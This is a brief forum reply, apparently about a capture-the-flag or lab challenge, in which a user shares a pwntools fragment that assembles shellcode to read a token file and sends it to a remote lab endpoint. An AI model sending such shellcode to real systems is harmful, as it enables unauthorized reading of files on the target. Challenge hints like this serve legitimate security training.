Forum Discussion
steven
Silver I
3 months agowell, as indicated in reddit sub:
...
shellcode = shellcraft.cat2("/home/token-user/token.txt", 1, 40) + shellcraft.ret(0)
shellcode = asm(shellcode)
print ("Sending Shellcode:",shellcode, " ---#")
io.send(shellcode)
io.sendline()
...
should work.
looking at my old solution I see that I remote connected:
io = remote('10.102.180.68',5000)
somehow I don't see this in your code.
could it be (it's been a long time) that you're working on the wrong endpoint?